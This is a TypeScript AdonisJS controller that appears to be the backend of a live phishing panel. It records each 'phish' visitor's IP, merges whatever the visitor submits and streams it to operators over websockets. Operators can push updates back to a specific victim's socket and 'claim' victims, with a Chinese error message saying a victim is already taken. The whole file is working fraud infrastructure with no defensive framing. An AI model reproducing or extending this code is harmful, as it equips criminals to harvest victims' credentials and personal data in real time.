import type { HttpContextContract } from '@ioc:Adonis/Core/HttpContext'
import PaginationService from 'App/Services/PaginationService'
import Phish from 'App/Models/Phish'
import Ws from 'App/Services/Ws'

export default class PhishesController {
    private paginationService = new PaginationService(Phish)

    public async index({ request, auth }: HttpContextContract) {
        return await this.paginationService.paginate(request.all(), (q) => {
            q.where('userId', auth.user!.id).orWhereNull('userId')
        })
    }

    public async store({ request }: HttpContextContract) {
        const ip = request.ip()
        const id = request.all().id
        let phish: Phish | null = null
        if (id) {
            phish = await Phish.find(id)
        }
        if (!phish) {
            phish = new Phish()
        }
        phish.ip = ip
        phish.online = false
        await phish.save()
        Ws.hookIO.emit('new', phish)
        return phish
    }

    public async show({ params }: HttpContextContract) {
        return await Phish.findOrFail(params.id)
    }

    public async clientUpdate({ params, request }: HttpContextContract) {
        const phish = await Phish.findOrFail(params.id)
        phish.merge(request.all())
        await phish.save()
        Ws.hookIO.emit('update', phish)
        return phish
    }

    public async adminUpdate({ params, request }: HttpContextContract) {
        const phish = await Phish.findOrFail(params.id)
        phish.merge(request.all())
        await phish.save()
        Ws.phishIO.to(phish.socketId).emit('update', phish)
        return phish
    }

    public async claim({ params, auth }: HttpContextContract) {
        const phish = await Phish.findOrFail(params.id)
        if (phish.userId && phish.userId !== auth.user!.id) {
            throw new Error('已被他人领取')
        }
        phish.userId = auth.user!.id
        await phish.save()
        return phish
    }
}
